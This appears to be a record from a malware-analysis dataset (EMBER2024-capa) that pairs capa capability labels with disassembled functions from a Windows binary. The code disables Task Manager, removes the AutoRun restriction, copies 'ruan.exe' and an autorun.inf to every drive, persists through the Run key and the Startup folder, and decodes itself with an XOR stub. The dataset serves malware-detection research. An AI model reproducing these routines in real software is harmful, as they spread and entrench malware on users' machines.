joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4014d0
Capabilities:
Delete registry value
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x50
mov eax, dword [0x441094]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push edi
mov ecx, 0xf
mov esi, str.SoftwareMicrosoftWindowsCurrentVersionPoliciesExplorer
lea edi, [ebp - 0x40]
rep movsd dword es:[edi], dword [esi]
lea eax, [ebp - 0x44]
push eax
push 0xf003f
push 0
lea ecx, [ebp - 0x40]
push ecx
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
je 0x401538
push 0x4324a4
push 0x4422b8
call fcn.00402340
add esp, 8
mov dword [ebp - 0x48], eax
push 0x404da0
mov ecx, dword [ebp - 0x48]
call fcn.00407af0
mov eax, 1
jmp 0x401579
mov dword [ebp - 0x4c], 4
push 0
lea edx, [ebp - 0x4c]
push edx
lea eax, [ebp - 0x50]
push eax
push 0
push 0x4324b8
mov ecx, dword [ebp - 0x44]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x40156d
push str.NoDriveTypeAutoRun
mov edx, dword [ebp - 0x44]
push edx
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueA]
mov eax, dword [ebp - 0x44]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00411fe4
mov esp, ebp
pop ebp
ret

Function at 0x4019e0
Capabilities:
Disable system features via registry on windows
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov dword [ebp - 8], 1
lea eax, [ebp - 4]
push eax
push str.SoftwareMicrosoftWindowsCurrentVersionPoliciesSystem
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
push 4
lea ecx, [ebp - 8]
push ecx
push 4
push 0
push str.DisableTaskMgr
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov esp, ebp
pop ebp
ret
Function at 0x401a30
Capabilities:
Copy file
Get disk information
Set file attributes
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x224
mov eax, dword [0x441094]
xor eax, ebp
mov dword [ebp - 4], eax
push 0x104
push 0
lea eax, [ebp - 0x20c]
push eax
call fcn.00413100
add esp, 0xc
lea ecx, [ebp - 0x20c]
push ecx
push 0x104
call dword [sym.imp.KERNEL32.dll_GetLogicalDriveStringsA]
mov dword [ebp - 0x218], eax
mov dword [ebp - 0x210], 0
jmp 0x401a8c
mov edx, dword [ebp - 0x210]
add edx, 4
mov dword [ebp - 0x210], edx
mov eax, dword [ebp - 0x210]
cmp eax, dword [ebp - 0x218]
jae 0x401bbe
push 0x104
push 0
lea ecx, [ebp - 0x108]
push ecx
call fcn.00413100
add esp, 0xc
push 4
mov edx, dword [ebp - 0x210]
lea eax, [ebp + edx - 0x20c]
push eax
lea ecx, [ebp - 0x108]
push ecx
call fcn.00416f40
add esp, 0xc
push str.ruan.exe
lea edx, [ebp - 0x108]
push edx
call fcn.00416dc0
add esp, 8
push 0
lea eax, [ebp - 0x108]
push eax
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.KERNEL32.dll_CopyFileA]
push 2
lea edx, [ebp - 0x108]
push edx
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push 4
mov eax, dword [ebp - 0x210]
lea ecx, [ebp + eax - 0x20c]
push ecx
lea edx, [ebp - 0x108]
push edx
call fcn.00416f40
add esp, 0xc
push str.autorun.inf
lea eax, [ebp - 0x108]
push eax
call fcn.00416dc0
add esp, 8
push 0
push 2
push 2
push 0
push 0
push 0x40000000
lea ecx, [ebp - 0x108]
push ecx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0x214], eax
mov dword [ebp - 0x21c], 0
mov edx, dword [section..data]
push edx
call fcn.00416eb0
add esp, 4
mov dword [ebp - 0x220], eax
mov eax, dword [section..data]
mov dword [ebp - 0x224], eax
push 0
lea ecx, [ebp - 0x21c]
push ecx
mov edx, dword [ebp - 0x220]
push edx
mov eax, dword [ebp - 0x224]
push eax
mov ecx, dword [ebp - 0x214]
push ecx
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov edx, dword [ebp - 0x214]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x401a7d
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00411fe4
mov esp, ebp
pop ebp
ret
Function at 0x401bd0
Capabilities:
Get common file path
Persist via run registry key

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c8
mov eax, dword [0x441094]
xor eax, ebp
mov dword [ebp - 4], eax
push str.SOFTWAREMicrosoftWindowsCurrentVersionRun
lea ecx, [ebp - 0x2b8]
call fcn.00405470
movzx eax, byte [0x432282]
mov byte [ebp - 0x108], al
push 0x103
push 0
lea ecx, [ebp - 0x107]
push ecx
call fcn.00413100
add esp, 0xc
mov dl, byte [0x432283]
mov byte [ebp - 0x20c], dl
push 0x103
push 0
lea eax, [ebp - 0x20b]
push eax
call fcn.00413100
add esp, 0xc
push str.RemoteCtrl.exe
lea ecx, [ebp - 0x224]
call fcn.00405b20
lea ecx, [ebp - 0x108]
push ecx
push 0x104
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
push 0x104
lea edx, [ebp - 0x20c]
push edx
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
lea eax, [ebp - 0x108]
push eax
lea ecx, [ebp - 0x2b4]
call fcn.00405b20
mov dword [ebp - 0x2bc], eax
lea ecx, [ebp - 0x224]
push ecx
lea edx, [ebp - 0x20c]
push edx
lea ecx, [ebp - 0x29c]
call fcn.00405b20
push eax
push str.mklink
lea eax, [ebp - 0x284]
push eax
call fcn.00402790
add esp, 0xc
push eax
lea ecx, [ebp - 0x26c]
push ecx
call fcn.00402760
add esp, 0xc
mov dword [ebp - 0x2c0], eax
lea edx, [ebp - 0x224]
push edx
mov eax, dword [ebp - 0x2bc]
push eax
mov ecx, dword [ebp - 0x2c0]
push ecx
lea edx, [ebp - 0x254]
push edx
call fcn.00402740
add esp, 0xc
push eax
lea eax, [ebp - 0x23c]
push eax
call fcn.00402760
add esp, 0xc
lea ecx, [ebp - 0x254]
call fcn.00407360
lea ecx, [ebp - 0x26c]
call fcn.00407360
lea ecx, [ebp - 0x284]
call fcn.00407360
lea ecx, [ebp - 0x29c]
call fcn.00407360
lea ecx, [ebp - 0x2b4]
call fcn.00407360
lea ecx, [ebp - 0x23c]
call fcn.0040ce70
push eax
call fcn.0041751f
add esp, 4
mov dword [ebp - 0x2c8], eax
mov dword [ebp - 0x2c4], 0
lea ecx, [ebp - 0x2c4]
push ecx
push 0xf013f
push 0
lea ecx, [ebp - 0x2b8]
call fcn.00407e70
push eax
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov dword [ebp - 0x2c8], eax
lea ecx, [ebp - 0x23c]
call fcn.00407360
lea ecx, [ebp - 0x224]
call fcn.00407360
lea ecx, [ebp - 0x2b8]
call fcn.004070b0
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00411fe4
mov esp, ebp
pop ebp
ret

Function at 0x401dc0
Capabilities:
Accept command line arguments
Copy file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push str.C:UsersAdministratorAppDataRoamingMicrosoftWindowsStart_MenuProgramsStartup
lea ecx, [ebp - 8]
call fcn.00405470
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
push eax
lea ecx, [ebp - 4]
call fcn.00405470
push 0x432286
push 0x43269c
lea ecx, [ebp - 4]
call fcn.00409990
lea ecx, [ebp - 8]
call fcn.00407e70
mov dword [ebp - 0xc], eax
lea ecx, [ebp - 4]
call fcn.00407e70
mov dword [ebp - 0x10], eax
push 0
mov eax, dword [ebp - 0xc]
push eax
mov ecx, dword [ebp - 0x10]
push ecx
call dword [sym.imp.KERNEL32.dll_CopyFileA]
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
jne 0x401e2f
call fcn.00401bd0
push 0
call fcn.004173ee
lea ecx, [ebp - 4]
call fcn.004070b0
lea ecx, [ebp - 8]
call fcn.004070b0
mov esp, ebp
pop ebp
ret
Function at 0x409fe0
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
mov eax, dword [ebp + 0xc]
push eax
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
jne 0x40a004
xor eax, eax
jmp 0x40a084
mov edx, dword [ebp - 0xc]
push edx
call dword [sym.imp.KERNEL32.dll_LockResource]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x40a01b
xor eax, eax
jmp 0x40a084
mov eax, dword [ebp + 0xc]
push eax
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov dword [ebp - 0x14], eax
mov edx, dword [ebp - 4]
add edx, dword [ebp - 0x14]
mov dword [ebp - 0x10], edx
mov eax, dword [ebp + 0x10]
and eax, 0xf
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
jbe 0x40a067
mov ecx, dword [ebp - 4]
cmp ecx, dword [ebp - 0x10]
jae 0x40a067
mov edx, dword [ebp - 4]
movzx eax, word [edx]
mov ecx, dword [ebp - 4]
lea edx, [ecx + eax*2 + 2]
mov dword [ebp - 4], edx
mov eax, dword [ebp - 8]
sub eax, 1
mov dword [ebp - 8], eax
jmp 0x40a03e
mov ecx, dword [ebp - 4]
cmp ecx, dword [ebp - 0x10]
jb 0x40a073
xor eax, eax
jmp 0x40a084
mov edx, dword [ebp - 4]
movzx eax, word [edx]
test eax, eax
jne 0x40a081
xor eax, eax
jmp 0x40a084
mov eax, dword [ebp - 4]
mov esp, ebp
pop ebp
ret

Function at 0x4107d7
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
push 2
lea eax, [ebp - 4]
push eax
push 0x20000001
push str._x_sys_default_locale
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoEx]
mov esi, dword [ebp + 0xc]
neg eax
sbb eax, eax
xor ecx, ecx
and eax, dword [ebp - 4]
push ecx
push ecx
push esi
push eax
push dword [ebp + 8]
mov dword [ebp - 4], eax
push ecx
push 0x1300
call dword [sym.imp.KERNEL32.dll_FormatMessageA]
push eax
push dword [esi]
call fcn.004107b3
pop esi
leave
ret 8

Function at 0x4126cd
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x41270c
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x41270c
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x41270c
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x41270c
cmp dword [ecx + 0x74], 0xe
jbe 0x41270c
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret

Function at 0x4202a6
Capabilities:
Allocate thread local storage

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x436a88
push 0x436a80
push str.FlsAlloc
push 0x1e
call fcn.00420113
mov esi, eax
add esp, 0x10
test esi, esi
je 0x4202da
push dword [ebp + 8]
mov ecx, esi
call dword [0x4321cc]
call esi
jmp 0x4202e0
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
pop esi
pop ebp
ret 4

Function at 0x420324
Capabilities:
Get thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x436a98
push 0x436a90
push str.FlsGetValue
push 0x20
call fcn.00420113
mov esi, eax
add esp, 0x10
test esi, esi
je 0x42035b
push dword [ebp + 8]
mov ecx, esi
call dword [0x4321cc]
call esi
pop esi
pop ebp
ret 4
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsGetValue]
Function at 0x421a05
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.00421876

Function at 0x421dff
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov eax, 0x101c
call fcn.00412b30
mov eax, dword [0x441094]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0x14]
push ebx
push dword [ebp + 8]
mov dword [ebp - 0x100c], eax
call fcn.004208d9
pop ecx
mov ecx, dword [ebp + 8]
mov ebx, eax
cmp dword [ecx + 8], 0
jne 0x421e41
mov eax, dword [ebp + 0xc]
mov edx, dword [ebp + 0x10]
jmp 0x421f9d
mov eax, dword [ecx]
sub eax, dword [ecx + 4]
push esi
push edi
push 0
cdq
push 2
push edx
push eax
call fcn.00430970
push dword [ebp - 0x100c]
mov ecx, ebx
mov dword [ebp - 0x1008], eax
mov esi, ebx
mov dword [ebp - 0x1018], edx
and ecx, 0x3f
sar esi, 6
imul edi, ecx, 0x38
push 0
mov eax, dword [esi*4 + 0x442d10]
push dword [edi + eax + 0x24]
push dword [edi + eax + 0x20]
push ebx
call fcn.004231c2
mov ecx, dword [esi*4 + 0x442d10]
add esp, 0x14
mov dword [ebp - 0x1010], eax
mov eax, edx
mov edx, dword [ebp - 0x1010]
mov dword [ebp - 0x101c], eax
cmp edx, dword [edi + ecx + 0x20]
jne 0x421f96
cmp eax, dword [edi + ecx + 0x24]
jne 0x421f96
push 0
lea eax, [ebp - 0x1014]
push eax
push 0x1000
lea eax, [ebp - 0x1004]
push eax
push dword [edi + ecx + 0x18]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x421f96
push dword [ebp - 0x100c]
push 0
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push ebx
call fcn.004231c2
add esp, 0x14
test edx, edx
jl 0x421f96
jg 0x421f0c
test eax, eax
jb 0x421f96
mov ebx, dword [ebp - 0x1018]
mov eax, dword [ebp - 0x1014]
test ebx, ebx
jg 0x421f96
jl 0x421f26
cmp dword [ebp - 0x1008], eax
ja 0x421f96
lea edi, [ebp - 0x1004]
xor edx, edx
add edi, eax
lea ecx, [ebp - 0x1004]
xor esi, esi
cmp dword [ebp - 0x1008], edx
jne 0x421f44
test ebx, ebx
je 0x421f7d
cmp ecx, edi
jae 0x421f7d
mov al, byte [ecx]
cmp al, 0xd
jne 0x421f5e
lea eax, [edi - 1]
cmp ecx, eax
jae 0x421f6a
cmp byte [ecx + 1], 0xa
jne 0x421f6a
inc ecx
jmp 0x421f6a
movzx eax, al
movsx eax, byte [eax + 0x441308]
add ecx, eax
add esi, 1
adc edx, 0
inc ecx
cmp esi, dword [ebp - 0x1008]
jne 0x421f44
cmp edx, ebx
jne 0x421f44
lea eax, [ebp - 0x1004]
sub ecx, eax
mov eax, ecx
cdq
add eax, dword [ebp - 0x1010]
adc edx, dword [ebp - 0x101c]
jmp 0x421f9b
or edx, 0xffffffff
mov eax, edx
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop ebx
call fcn.00411fe4
leave
ret
Function at 0x422660
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
mov eax, dword [ebp + 8]
mov ecx, eax
push ebx
mov ebx, dword [ebp + 0xc]
and eax, 0x3f
sar ecx, 6
push esi
push edi
imul edi, eax, 0x38
mov eax, dword [ecx*4 + 0x442d10]
mov dword [ebp - 0x10], ecx
mov ecx, dword [eax + edi + 0x18]
mov dword [ebp - 0x14], ecx
mov ecx, dword [ebp + 0x10]
test ecx, ecx
je 0x4226a0
cmp byte [ebx], 0xa
jne 0x4226a0
or byte [eax + edi + 0x28], 4
jmp 0x4226a5
and byte [eax + edi + 0x28], 0xfb
add ecx, ebx
mov edx, ebx
mov dword [ebp - 0xc], ecx
mov esi, ebx
cmp ebx, ecx
jae 0x4227a3
mov al, byte [edx]
cmp al, 0x1a
je 0x422785
lea ecx, [edx + 1]
mov dword [ebp - 8], ecx
mov ecx, dword [ebp - 0xc]
cmp al, 0xd
je 0x4226d4
mov edx, dword [ebp - 8]
mov byte [esi], al
jmp 0x4226f9
mov eax, dword [ebp - 8]
cmp eax, ecx
jae 0x422703
mov cl, byte [eax]
xor eax, eax
cmp cl, 0xa
sete al
inc eax
add edx, eax
cmp cl, 0xa
sete al
dec al
and al, 3
add al, 0xa
mov byte [esi], al
mov ecx, dword [ebp - 0xc]
inc esi
cmp edx, ecx
jb 0x4226b6
jmp 0x4227a3
push 0
lea eax, [ebp - 0xc]
push eax
push 1
lea eax, [ebp - 1]
push eax
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x422780
cmp dword [ebp - 0xc], 0
je 0x422780
mov ecx, dword [ebp - 0x10]
mov eax, dword [ecx*4 + 0x442d10]
test byte [eax + edi + 0x28], 0x48
je 0x42275a
mov dl, byte [ebp - 1]
lea eax, [esi + 1]
mov dword [ebp - 0x14], eax
cmp dl, 0xa
jne 0x422745
mov byte [esi], dl
jmp 0x422756
mov byte [esi], 0xd
mov eax, dword [ecx*4 + 0x442d10]
mov byte [eax + edi + 0x2a], dl
mov eax, dword [ebp - 0x14]
mov esi, eax
jmp 0x4227a3
cmp byte [ebp - 1], 0xa
jne 0x422769
cmp esi, ebx
jne 0x422769
mov byte [esi], 0xa
jmp 0x4227a2
push 1
push 0xffffffffffffffff
push 0xffffffffffffffff
push dword [ebp + 8]
call fcn.004231e0
add esp, 0x10
cmp byte [ebp - 1], 0xa
je 0x4227a3
mov byte [esi], 0xd
jmp 0x4227a2
mov ecx, dword [ebp - 0x10]
mov ecx, dword [ecx*4 + 0x442d10]
mov al, byte [ecx + edi + 0x28]
test al, 0x40
jne 0x42279f
or al, 2
mov byte [ecx + edi + 0x28], al
jmp 0x4227a3
mov byte [esi], 0x1a
inc esi
sub esi, ebx
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret
Function at 0x4227ac
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [ebp + 8]
push ebx
push esi
mov esi, dword [ebp + 0xc]
mov ebx, eax
and eax, 0x3f
sar ebx, 6
push edi
imul edi, eax, 0x38
push 0xa
mov eax, dword [ebx*4 + 0x442d10]
pop edx
mov dword [ebp - 0x14], edx
mov ecx, dword [edi + eax + 0x18]
mov dword [ebp - 0x18], ecx
mov ecx, dword [ebp + 0x10]
test ecx, ecx
je 0x4227ef
cmp word [esi], dx
jne 0x4227ef
or byte [edi + eax + 0x28], 4
jmp 0x4227f4
and byte [edi + eax + 0x28], 0xfb
lea edx, [esi + ecx*2]
mov eax, esi
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
cmp eax, edx
jae 0x422947
mov dword [ebp - 0xc], 0xd
movzx ecx, word [eax]
mov edx, ecx
mov dword [ebp - 0x10], edx
push 0x1a
pop edx
cmp cx, dx
mov edx, dword [ebp - 8]
je 0x422927
add eax, 2
cmp cx, word [ebp - 0xc]
je 0x422836
mov dword [ebp - 4], eax
mov word [esi], cx
jmp 0x42286c
cmp eax, edx
jae 0x422878
movzx eax, word [eax]
xor ecx, ecx
cmp ax, word [ebp - 0x14]
mov edx, eax
push 0xa
sete cl
xor eax, eax
lea ecx, [ecx*2 + 2]
add dword [ebp - 4], ecx
pop ecx
cmp dx, cx
mov edx, dword [ebp - 8]
sete al
dec eax
and eax, 3
add eax, ecx
mov word [esi], ax
mov eax, dword [ebp - 4]
add esi, 2
cmp eax, edx
jb 0x42280e
jmp 0x422947
push 0
lea eax, [ebp - 0x14]
push eax
push 2
lea eax, [ebp - 4]
push eax
push dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x422923
cmp dword [ebp - 0x14], 0
je 0x422923
mov eax, dword [ebx*4 + 0x442d10]
push 0xa
test byte [edi + eax + 0x28], 0x48
je 0x4228fb
mov dx, word [ebp - 4]
lea eax, [esi + 2]
pop ecx
mov dword [ebp - 0x18], eax
cmp dx, cx
jne 0x4228c4
mov word [esi], cx
jmp 0x4228f7
push 0xd
pop eax
mov word [esi], ax
mov eax, dword [ebx*4 + 0x442d10]
movzx ecx, dx
shr ecx, 8
push 0xa
mov byte [edi + eax + 0x2a], dl
mov eax, dword [ebx*4 + 0x442d10]
mov byte [edi + eax + 0x2b], cl
mov eax, dword [ebx*4 + 0x442d10]
pop ecx
mov byte [edi + eax + 0x2c], cl
mov eax, dword [ebp - 0x18]
mov esi, eax
jmp 0x422947
pop ebx
cmp word [ebp - 4], bx
jne 0x42290c
cmp esi, dword [ebp + 0xc]
jne 0x42290c
mov word [esi], bx
jmp 0x422944
push 1
push 0xffffffffffffffff
push 0xfffffffffffffffe
push dword [ebp + 8]
call fcn.004231e0
add esp, 0x10
cmp word [ebp - 4], bx
je 0x422947
push 0xd
jmp 0x422940
mov ecx, dword [ebx*4 + 0x442d10]
mov al, byte [ecx + edi + 0x28]
test al, 0x40
jne 0x42293e
or al, 2
mov byte [ecx + edi + 0x28], al
jmp 0x422947
push 0x1a
pop eax
mov word [esi], ax
add esi, 2
sub esi, dword [ebp + 0xc]
and esi, 0xfffffffe
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret
Function at 0x4284ce
Capabilities:
Query environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov esi, eax
test esi, esi
je 0x42856b
push ebx
push esi
call fcn.00428497
xor ebx, ebx
sub eax, esi
push ebx
push ebx
push ebx
push ebx
sar eax, 1
push eax
push esi
push ebx
push ebx
mov dword [ebp - 8], eax
call fcn.00427284
add esp, 0x24
mov dword [ebp - 4], eax
test eax, eax
jne 0x428518
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x42856a
push edi
push eax
call fcn.004233bf
mov edi, eax
pop ecx
push ebx
test edi, edi
jne 0x428538
call fcn.0041f1cb
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x428569
push ebx
push dword [ebp - 4]
push edi
push dword [ebp - 8]
push esi
push ebx
push ebx
call fcn.00427284
add esp, 0x20
test eax, eax
jne 0x428557
push edi
call fcn.0041f1cb
jmp 0x42855f
push ebx
call fcn.0041f1cb
mov ebx, edi
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov eax, ebx
pop edi
pop ebx
pop esi
leave
ret
Function at 0x42fe65
Capabilities:
Clear file content

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x2c
push ebx
mov ebx, dword [ebp + 8]
lea ecx, [ebp - 0x2c]
push esi
push edi
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push ebx
call fcn.0042fde1
mov eax, dword [ebp - 0x2c]
and eax, dword [ebp - 0x28]
cmp eax, 0xffffffff
je 0x42ffdd
mov eax, dword [ebp - 0x24]
and eax, dword [ebp - 0x20]
cmp eax, 0xffffffff
je 0x42ffdd
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 8], ecx
mov dword [ebp - 4], eax
test ecx, ecx
jl 0x42ff8c
jg 0x42febe
test eax, eax
je 0x42ff82
push 1
push 0x1000
call fcn.0041fe15
mov esi, eax
pop ecx
pop ecx
test esi, esi
jne 0x42fee4
mov eax, dword [ebp + 0x14]
push 0xc
pop edi
mov byte [eax + 0x1c], 1
mov dword [eax + 0x18], edi
jmp 0x42ff79
push 0x8000
push ebx
call fcn.0041cb8b
mov edi, dword [ebp + 0x14]
pop ecx
pop ecx
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0x18]
test eax, eax
jl 0x42ff10
jg 0x42ff0b
cmp ecx, 0x1000
jb 0x42ff10
mov ecx, 0x1000
push edi
push ecx
push esi
push ebx
call fcn.00421676
add esp, 0x10
cmp eax, 0xffffffff
je 0x42ff55
mov ecx, dword [ebp - 4]
cdq
sub ecx, eax
mov eax, dword [ebp - 8]
mov dword [ebp - 4], ecx
sbb eax, edx
mov dword [ebp - 8], eax
test eax, eax
jg 0x42ff0b
jl 0x42ff3c
test ecx, ecx
jne 0x42fefd
push dword [ebp - 0xc]
push ebx
call fcn.0041cb8b
push esi
call fcn.0041f1cb
add esp, 0xc
xor edi, edi
jmp 0x42ffee
cmp byte [edi + 0x24], 0
je 0x42ff6c
cmp dword [edi + 0x20], 5
jne 0x42ff6c
mov byte [edi + 0x1c], 1
mov dword [edi + 0x18], 0xd
cmp byte [edi + 0x1c], 0
je 0x42ff77
mov edi, dword [edi + 0x18]
jmp 0x42ff79
xor edi, edi
push esi
call fcn.0041f1cb
pop ecx
jmp 0x42ffee
test ecx, ecx
jg 0x42ff4e
jl 0x42ff8c
test eax, eax
jae 0x42ff4e
push 0
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push ebx
call fcn.004231e0
and eax, edx
add esp, 0x10
cmp eax, 0xffffffff
jne 0x42ffaf
mov edi, dword [ebp + 0x14]
cmp byte [edi + 0x1c], 0
je 0x42ff4e
jmp 0x42ffe6
push ebx
call fcn.00428ed0
pop ecx
push eax
call dword [sym.imp.KERNEL32.dll_SetEndOfFile]
test eax, eax
jne 0x42ff4e
mov esi, dword [ebp + 0x14]
call dword [sym.imp.KERNEL32.dll_GetLastError]
push 0xd
mov byte [esi + 0x24], 1
mov dword [esi + 0x20], eax
pop edi
mov byte [esi + 0x1c], 1
mov dword [esi + 0x18], edi
jmp 0x42ffee
mov edi, dword [ebp + 0x14]
cmp byte [edi + 0x1c], 0
je 0x42ffeb
mov edi, dword [edi + 0x18]
jmp 0x42ffee
push 0x16
pop edi
push 0
push dword [ebp - 0x28]
push dword [ebp - 0x2c]
push dword [ebp - 0x14]
call fcn.004231e0
add esp, 0x10
mov eax, edi
pop edi
pop esi
pop ebx
leave
ret

Function at 0x430870
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x43089d
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x43089d
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret
Function at 0x430002
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
call 0x43000c
nop
nop
nop
pop eax
nop
nop
add eax, 0x403d6a
nop
nop
sub eax, 0x403d10
nop
nop
nop
nop
mov ebx, dword [eax]
nop
mov ecx, dword [eax + 4]
nop
nop
nop
mov edx, dword [eax + 8]
nop
nop
nop
nop
xor dword [ebx], edx
nop
nop
nop
add ebx, 4
nop
nop
cmp ebx, ecx
nop
nop
nop
nop
nop
jl 0x430030
nop
nop
nop
nop
nop
add eax, 0xc
nop
nop
cmp dword [eax], 0
nop
nop
nop
nop
nop
nop
jne 0x43001e
popal
nop
nop
nop
nop
nop
jmp loc.00401219